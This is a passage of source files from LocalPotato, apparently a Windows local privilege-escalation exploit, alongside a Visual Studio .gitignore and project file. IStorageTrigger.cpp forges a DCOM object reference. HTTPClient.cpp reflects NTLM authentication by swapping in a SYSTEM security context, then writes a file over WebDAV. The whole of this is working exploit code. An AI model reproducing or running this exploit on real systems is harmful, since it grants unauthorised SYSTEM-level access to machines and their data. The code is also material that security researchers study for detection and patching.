108 | void base64Decode(PWCHAR b64Text, int b64TextLen, char* buffer, DWORD* bufferLen) {
109 | if (!CryptStringToBinaryW(b64Text, b64TextLen, CRYPT_STRING_BASE64, (BYTE*)buffer, (DWORD*)bufferLen, NULL, NULL)) {
110 | printf("[!] CryptStringToBinaryW failed with error code %d\n", GetLastError());
111 | exit(-1);
112 | }
113 | }
114 |
115 |
--------------------------------------------------------------------------------
/IStorageTrigger.cpp:
--------------------------------------------------------------------------------
1 | #include "IStorageTrigger.h"
2 | #include
3 |
4 | #pragma warning(disable : 4996) //_CRT_SECURE_NO_WARNINGS
5 |
6 | extern char gOxid[];
7 | extern char gOid[];
8 | extern char gIpid[];
9 |
10 | IStorageTrigger::IStorageTrigger(IStorage* istg) {
11 | _stg = istg;
12 | m_cRef = 1;
13 | return;
14 | }
15 |
16 | HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
17 | return 0;
18 | }
19 |
20 | HRESULT IStorageTrigger::GetMarshalSizeMax(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, DWORD* pSize) {
21 | *pSize = 1024;
22 | //printf("IStorageTrigger GetMarshalSizeMax\n");
23 | return 0;
24 | }
25 |
26 | HRESULT IStorageTrigger::GetUnmarshalClass(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, CLSID* pCid) {
27 | CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
28 | //printf("IStorageTrigger GetUnmarshalClass\n");
29 | return 0;
30 | }
31 |
32 | HRESULT IStorageTrigger::MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags) {
33 | // only gods know what is going on in this function
34 | // do not try to refactor this. If you are brave and wanna try you can start here --> https://thrysoee.dk/InsideCOM+/ch19e.htm
35 | short sec_len = 8;
36 | char remote_ip_mb[256];
37 | wchar_t remoteBindings[] = L"127.0.0.1";
38 | wcstombs(remote_ip_mb, remoteBindings, 256);
39 |
40 | char* ipaddr = remote_ip_mb;
41 | unsigned short str_bindlen = (unsigned short)((strlen(ipaddr)) * 2) + 6;
42 | unsigned short total_length = (str_bindlen + sec_len) / 2;
43 | unsigned char sec_offset = str_bindlen / 2;
44 |
45 | byte data_0[] = { //OBJREF STANDARD
46 | 0x4d,0x45,0x4f,0x57, //MEOW
47 | 0x01,0x00,0x00,0x00, //FLAGS
48 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, // IID_IUnknown
49 | 0x00,0x00,0x00,0x00, //OBJREF STD FLAGS
50 | 0x01,0x00,0x00,0x00 //count
51 | };
52 |
53 | byte* dataip;
54 | int len = (int)strlen(ipaddr) * 2;
55 | dataip = (byte*)malloc(len);
56 | for (int i = 0; i < len; i++)
57 | {
58 | if (i % 2)
59 | dataip[i] = *ipaddr++;
60 | else
61 | dataip[i] = 0;
62 | }
63 | byte data_4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff,
64 | 0xff, 0x00, 0x00, 0x00, 0x00
65 | };
66 | byte data_1[4];
67 | data_1[0] = (byte)total_length;
68 | data_1[1] = 0;
69 | data_1[2] = sec_offset;
70 | data_1[3] = 0;
71 | int size = sizeof(data_0) + 32 + sizeof(data_1) + len + 1 + sizeof(data_4);
72 | byte* marshalbuf = (byte*)malloc(size);
73 | int r = 0;
74 | memcpy(&marshalbuf[r], data_0, sizeof(data_0));
75 | r = sizeof(data_0);
76 | memcpy(&marshalbuf[r], gOxid, 8);
77 | r = r + 8;
78 | memcpy(&marshalbuf[r], gOid, 8);
79 | r = r + 8;
80 | memcpy(&marshalbuf[r], gIpid, 16);
81 | r = r + 16;
82 | memcpy(&marshalbuf[r], data_1, sizeof(data_1));
83 | r = r + sizeof(data_1);
84 | byte tmp1[] = { 0x07 }; // ncacn_ip_tcp: Tower Id for the Oxid resolution
85 | memcpy(&marshalbuf[r], tmp1, 1);
86 | r = r + 1;
87 | memcpy(&marshalbuf[r], dataip, len);
88 | r = r + len;
89 | memcpy(&marshalbuf[r], data_4, sizeof(data_4));
90 | ULONG written = 0;
91 | pStm->Write(&marshalbuf[0], size, &written);
92 | printf("[*] Marshalling the IStorage object... IStorageTrigger written: %d bytes\n", written);
93 | free(marshalbuf);
94 | free(dataip);
95 | return 0;
96 | }
97 |
98 | HRESULT IStorageTrigger::ReleaseMarshalData(IStream* pStm) {
99 | return 0;
100 | }
101 | HRESULT IStorageTrigger::UnmarshalInterface(IStream* pStm, const IID& riid, void** ppv) {
102 | *ppv = 0;
103 | return 0;
104 | }
105 | HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
106 | _stg->Commit(grfCommitFlags);
107 | return 0;
108 | }
109 | HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID* rgiidExclude, SNB snbExclude, IStorage* pstgDest) {
110 | _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
111 | return 0;
112 | }
113 | HRESULT IStorageTrigger::CreateStorage(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage** ppstg) {
114 | _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
115 | return 0;
116 | }
117 | HRESULT IStorageTrigger::CreateStream(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream** ppstm) {
118 | _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
119 | return 0;
120 | }
121 | HRESULT IStorageTrigger::DestroyElement(const OLECHAR* pwcsName) {
122 | _stg->DestroyElement(pwcsName);
123 | return 0;
124 | }
125 | HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void* reserved2, DWORD reserved3, IEnumSTATSTG** ppenum) {
126 | _stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
127 | return 0;
128 | }
129 | HRESULT IStorageTrigger::MoveElementTo(const OLECHAR* pwcsName, IStorage* pstgDest, const OLECHAR* pwcsNewName, DWORD grfFlags) {
130 | _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
131 | return 0;
132 | }
133 | HRESULT IStorageTrigger::OpenStorage(const OLECHAR* pwcsName, IStorage* pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage** ppstg) {
134 | _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
135 | return 0;
136 | }
137 | HRESULT IStorageTrigger::OpenStream(const OLECHAR* pwcsName, void* reserved1, DWORD grfMode, DWORD reserved2, IStream** ppstm) {
138 | _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
139 | return 0;
140 | }
141 | HRESULT IStorageTrigger::RenameElement(const OLECHAR* pwcsOldName, const OLECHAR* pwcsNewName) {
142 | return 0;
143 | }
144 | HRESULT IStorageTrigger::Revert() {
145 | return 0;
146 | }
147 | HRESULT IStorageTrigger::SetClass(const IID& clsid) {
148 | return 0;
149 | }
150 | HRESULT IStorageTrigger::SetElementTimes(const OLECHAR* pwcsName, const FILETIME* pctime, const FILETIME* patime, const FILETIME* pmtime) {
151 | return 0;
152 | }
153 | HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
154 | return 0;
155 | }
156 | HRESULT IStorageTrigger::Stat(STATSTG* pstatstg, DWORD grfStatFlag) {
157 | _stg->Stat(pstatstg, grfStatFlag);
158 | //Allocate from heap because apparently this will get freed in OLE32
159 | const wchar_t c_s[] = L"LocalPotato.stg";
160 | wchar_t* s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
161 | wcscpy_s(s, sizeof(c_s) / sizeof(wchar_t), c_s);
162 | pstatstg[0].pwcsName = s;
163 | return 0;
164 | }
165 |
166 | ///////////////////////IUknown Interface
167 | HRESULT IStorageTrigger::QueryInterface(const IID& riid, void** ppvObj) {
168 | // Always set out parameter to NULL, validating it first.
169 | if (!ppvObj) {
170 | //printf("QueryInterface INVALID\n");
171 | return E_INVALIDARG;
172 | }
173 | if (riid == IID_IUnknown)
174 | {
175 | *ppvObj = static_cast(this);
176 | //reinterpret_cast(*ppvObj)->AddRef();
177 | }
178 | else if (riid == IID_IStorage)
179 | {
180 | *ppvObj = static_cast(this);
181 | }
182 | else if (riid == IID_IMarshal)
183 | {
184 | *ppvObj = static_cast(this);
185 | }
186 | else
187 | {
188 | *ppvObj = NULL;
189 | //printf("QueryInterface NOINT\n");
190 | return E_NOINTERFACE;
191 | }
192 | // Increment the reference count and return the pointer.
193 |
194 | return S_OK;
195 |
196 | }
197 |
198 | ULONG IStorageTrigger::AddRef() {
199 | m_cRef++;
200 | return m_cRef;
201 | }
202 |
203 | ULONG IStorageTrigger::Release() {
204 | // Decrement the object's internal counter.
205 | ULONG ulRefCount = m_cRef--;
206 | return ulRefCount;
207 | }
208 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
--------------------------------------------------------------------------------
/LocalPotato.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {1b3c96a3-f698-472b-b786-6fed7a205159}
25 | LocalPotato
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 | MultiThreaded
134 |
135 |
136 | Console
137 | true
138 | true
139 | false
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
--------------------------------------------------------------------------------
/HTTPClient.cpp:
--------------------------------------------------------------------------------
1 | #define SECURITY_WIN32
2 | #pragma comment(lib, "Secur32.lib")
3 | #pragma comment(lib, "Ws2_32.lib")
4 | #pragma warning(disable:4996)
5 |
6 | #include "windows.h"
7 | #include "stdio.h"
8 | #include "winsock.h"
9 | #include "sspi.h"
10 | #include "Security.h"
11 | #include "HTTPClient.h"
12 |
13 |
14 | // global vars
15 | extern wchar_t* httpHost;
16 | extern wchar_t* httpPageUrl;
17 | extern HANDLE event1;
18 | extern HANDLE event2;
19 | extern HANDLE event3;
20 | extern char SystemContext[];
21 | extern char UserContext[];
22 |
23 | SOCKET ConnectSocket2(const wchar_t* ipAddress, int port);
24 | BOOL DoAuthenticatedGETHTTP(SOCKET s, wchar_t* httpPageUrl);
25 | BOOL GenClientContext2(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText);
26 | char* base64Encode(char* text, int textLen, int* b64Len);
27 | char* base64Decode(char* b64Text, int b64TextLen, int* bufferLen);
28 | int findBase64NTLM(char* buffer, int buffer_len, char* outbuffer, int* outbuffer_len);
29 | char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage);
30 | char* ForgeHTTPWebDavRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage);
31 | char* ForgeHTTPWebDavRequestType0(int *l,wchar_t* httpIp, wchar_t* httpUrlPage);
32 | void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len);
33 | char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage);
34 | char* ForgeHTTPWebDavRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage);
35 | char* ForgeHTTPWebDavRequestWrite(int* l, wchar_t* httpIp, wchar_t* httpUrlPage);
36 | char* ForgeHTTPWebDavRequestHead(int* l, wchar_t* httpIp, wchar_t* httpUrlPage);
37 |
38 |
39 | void HTTPAuthenticatedGET() {
40 | SOCKET httpSocket = ConnectSocket2(httpHost, 80);
41 | DoAuthenticatedGETHTTP(httpSocket, httpPageUrl);
42 | closesocket(httpSocket);
43 | }
44 |
45 | BOOL DoAuthenticatedGETHTTP(SOCKET s, wchar_t* httpPageUrl) {
46 | BOOL fDone = FALSE;
47 | DWORD cbOut = 0;
48 | DWORD cbIn = 0;
49 | PBYTE pInBuf;
50 | PBYTE pOutBuf;
51 | char* sendbuffer = NULL;
52 | char ntlmType2[DEFAULT_BUFLEN];
53 | char recBuffer[DEFAULT_BUFLEN];
54 | int len = 0;
55 | int reclen = 0;
56 | CredHandle hCred;
57 | struct _SecHandle hcText;
58 |
59 | pInBuf = (PBYTE)malloc(DEFAULT_BUFLEN);
60 | pOutBuf = (PBYTE)malloc(DEFAULT_BUFLEN);
61 | cbOut = DEFAULT_BUFLEN;
62 |
63 | //ntlm type 1 http auth
64 | if (!GenClientContext2(NULL, 0, pOutBuf, &cbOut, &fDone, (wchar_t*)L"", &hCred, &hcText))
65 | {
66 | return(FALSE);
67 | }
68 | sendbuffer = ForgeHTTPWebDavRequestType0(&len, httpHost, httpPageUrl);
69 | send(s, sendbuffer, len, 0);
70 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
71 |
72 | sendbuffer = ForgeHTTPWebDavRequestType1((char*)pOutBuf, cbOut, &len, httpHost, httpPageUrl);
73 | send(s, sendbuffer, len, 0);
74 |
75 | // handling ntlm type2 part with context swapping
76 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
77 | ExtractType2FromHttp(recBuffer, reclen, ntlmType2, &len);
78 |
79 | if (ntlmType2[8] == 2)
80 | {
81 | memcpy(UserContext, &ntlmType2[32], 8);
82 | WaitForSingleObject(event1, INFINITE);
83 | // for local auth reflection we don't really need to relay the entire packet
84 | // swapping the context in the Reserved bytes with the SYSTEM context is enough
85 | memcpy(&ntlmType2[32], SystemContext, 8);
86 | printf("[+] HTTP Client Auth Context swapped with SYSTEM \n");
87 | }
88 | else {
89 | printf("[!] Authentication over HTTP is not using NTLM. Exiting...\n");
90 | return FALSE;
91 | }
92 | cbOut = DEFAULT_BUFLEN;
93 | if (!GenClientContext2((BYTE*)ntlmType2, len, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)L"", &hCred, &hcText))
94 | exit(-1);
95 | SetEvent(event2);
96 | WaitForSingleObject(event3, INFINITE);
97 |
98 | // handling ntlm type3
99 | sendbuffer = ForgeHTTPWebDavRequestType3((char*)pOutBuf, cbOut, &len, httpHost, httpPageUrl);
100 | send(s, sendbuffer, len, 0);
101 |
102 | // getting response from server
103 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
104 | /*if (recBuffer[9] == '2' && recBuffer[10] == '0' && recBuffer[11] == '0') {
105 | printf("[+] HTTP reflected DCOM authentication succeeded!\n");
106 | }
107 | else {
108 | printf("[!] HTTP reflected DCOM authentication failed \n");
109 | return FALSE;
110 | }*/
111 | sendbuffer = ForgeHTTPWebDavRequestWrite(&len, httpHost, httpPageUrl);
112 | printf("%s %d\n", sendbuffer, len);
113 | send(s, sendbuffer, len, 0);
114 |
115 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0);
116 | if (recBuffer[9] == '2' && recBuffer[10] == '0' && recBuffer[11] == '1') {
117 | printf("[+] File write succeeded!\n");
118 | }
119 | else {
120 | printf("[!] File creation Failed \n");
121 |
122 | }
123 |
124 | free(pInBuf);
125 | free(pOutBuf);
126 | if(sendbuffer != NULL) free(sendbuffer);
127 | return TRUE;
128 | }
129 |
130 | SOCKET ConnectSocket2(const wchar_t* ipAddress, int port) {
131 | char ipAddress_a[20];
132 | char remotePort_a[12];
133 | WSADATA wsaData;
134 | int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
135 | if (iResult != NO_ERROR) {
136 | wprintf(L"WSAStartup function failed with error: %d\n", iResult);
137 | return 1;
138 | }
139 | SOCKET ConnectSocket;
140 | ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
141 | if (ConnectSocket == INVALID_SOCKET) {
142 | wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
143 | WSACleanup();
144 | return 1;
145 | }
146 | memset(remotePort_a, 0, 12);
147 | memset(ipAddress_a, 0, 20);
148 | wcstombs(ipAddress_a, ipAddress, 20);
149 | sockaddr_in clientService;
150 | clientService.sin_family = AF_INET;
151 | clientService.sin_addr.s_addr = inet_addr(ipAddress_a);
152 | clientService.sin_port = htons(port);
153 | iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
154 | if (iResult == SOCKET_ERROR) {
155 | wprintf(L"[!] ConnectSocket: connect function failed with error: %ld\n", WSAGetLastError());
156 | iResult = closesocket(ConnectSocket);
157 | if (iResult == SOCKET_ERROR)
158 | wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
159 | WSACleanup();
160 | return 1;
161 | }
162 | Sleep(1000);
163 | printf("[*] Connected to the HTTP server with ip %s and port %d\n", ipAddress_a, port);
164 | return ConnectSocket;
165 | }
166 |
167 | BOOL GenClientContext2(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText)
168 | {
169 | SECURITY_STATUS ss;
170 | TimeStamp Lifetime;
171 | SecBufferDesc OutBuffDesc;
172 | SecBuffer OutSecBuff;
173 | SecBufferDesc InBuffDesc;
174 | SecBuffer InSecBuff;
175 | ULONG ContextAttributes;
176 | PTCHAR lpPackageName = (PTCHAR)NTLMSP_NAME;
177 |
178 | if (NULL == pIn)
179 | {
180 | ss = AcquireCredentialsHandle(NULL, lpPackageName, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, hCred, &Lifetime);
181 | if (!(SEC_SUCCESS(ss)))
182 | {
183 | printf("[!] AcquireCredentialsHandleW failed with error code 0x%x\n", ss);
184 | return FALSE;
185 | }
186 | }
187 | OutBuffDesc.ulVersion = 0;
188 | OutBuffDesc.cBuffers = 1;
189 | OutBuffDesc.pBuffers = &OutSecBuff;
190 | OutSecBuff.cbBuffer = *pcbOut;
191 | OutSecBuff.BufferType = SECBUFFER_TOKEN;
192 | OutSecBuff.pvBuffer = pOut;
193 | if (pIn)
194 | {
195 | InBuffDesc.ulVersion = 0;
196 | InBuffDesc.cBuffers = 1;
197 | InBuffDesc.pBuffers = &InSecBuff;
198 | InSecBuff.cbBuffer = cbIn;
199 | InSecBuff.BufferType = SECBUFFER_TOKEN;
200 | InSecBuff.pvBuffer = pIn;
201 | ss = InitializeSecurityContext(hCred, hcText, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime);
202 |
203 | }
204 | else
205 | ss = InitializeSecurityContext(hCred, NULL, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, NULL, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime);
206 | if (!SEC_SUCCESS(ss))
207 | {
208 | printf("[!] InitializeSecurityContext failed with error code 0x%x\n", ss);
209 | return FALSE;
210 | }
211 | if ((SEC_I_COMPLETE_NEEDED == ss)
212 | || (SEC_I_COMPLETE_AND_CONTINUE == ss))
213 | {
214 | ss = CompleteAuthToken(hcText, &OutBuffDesc);
215 | if (!SEC_SUCCESS(ss))
216 | {
217 | fprintf(stderr, "complete failed: 0x%08x\n", ss);
218 | return FALSE;
219 | }
220 | }
221 | *pcbOut = OutSecBuff.cbBuffer;
222 | *pfDone = !((SEC_I_CONTINUE_NEEDED == ss) || (SEC_I_COMPLETE_AND_CONTINUE == ss));
223 | return TRUE;
224 | }
225 |
226 | char* base64Encode(char* text, int textLen, int* b64Len) {
